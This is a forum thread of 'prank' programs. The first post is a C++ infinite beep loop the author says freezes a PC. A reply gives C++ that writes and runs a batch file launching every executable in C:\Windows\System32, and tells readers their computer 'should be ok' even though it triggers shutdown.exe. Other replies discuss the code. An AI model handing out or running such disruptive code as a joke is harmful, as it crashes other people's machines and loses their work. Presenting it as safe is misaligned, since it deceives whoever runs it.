System Resource Manipulating Script.

killdude69 0 Tallied Votes 134 Views Share

This simple command line script is used to pull a prank on one of your buds. What it does is play an anoyying beeping sound over and over again while rendering the computer being used completely unresponsive. The task manager doesnt even respond. The window never loses focus and nothing can be done but listen to it or turn off the PC.

I was just trying to make a simple alert system when I accidentally crashed my comp. testing the script. TEST AT YOUR OWN WRISK. This is meant as a simple demostration of what such a small script can do.

Just put the code in one .cpp file and it will do its work when run.

#include <iostream>
using namespace std;

int main()
{
    int i = 1;
    while(i == 1)
    {
        cout << "\a"; // \a = Alert (Beep)
        // This just plays a sound while the computer tries to keep up
        // with the incoming calls of sounds. The PC will try to keep all
        // of the records of input and output, rendering the computer useless.
    }
}
William Hemsworth 1,339 Posting Virtuoso

Heres another :D

Your computer should be ok with this, have a go :P

#include<iostream>
#include<fstream>

using namespace std;

int main() {
	ofstream out("openAll.bat", ios::out);
	out << "for %%a in (\"C:\\Windows\\System32\\*.exe\") do start %%a";
	out.close();
	system("openAll.bat");
	return 0;
}
killdude69 8 Light Poster

I do not think I am going to try your script williamhemsworth. Nice try. lol. Let me guess, that script alters or deletes system files. Anyways, my script is harmless, it just completely disables your computer in a matter of seconds and the only bad outcome is a possible loss of work if the victim was working on something.

William Hemsworth 1,339 Posting Virtuoso

Actually, its just opens about every system file this is at once :P the most your computer will do it shutdown when the "shutdown.exe" file has started, but many hundreds will open before that ^.^ Your computer shouldent be damaged in any way :D

mvmalderen 2,072 Postaholic

Hi, William, why not just: system("for %%a in (\"C:\\Windows\\System32\\*.exe\") do start %%a"); ?
(no need for fstream :P)

And killdude: instead of writing: while([B]i == 1[/B]) you could simply have written while([B]true[/B]) , though yours was not wrong :P
BTW, Your script doesn't render my computer useless :D

William Hemsworth 1,339 Posting Virtuoso

Why don't you try that code before you think it works :P
For me, it has to be saved as a batch file first.

killdude69 8 Light Poster

Thank you tux4life, for the generic sarcastic giggling smiley.

tux, that would not be my fault. Because I tested it, it froze my computer and the task manager would not even open.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.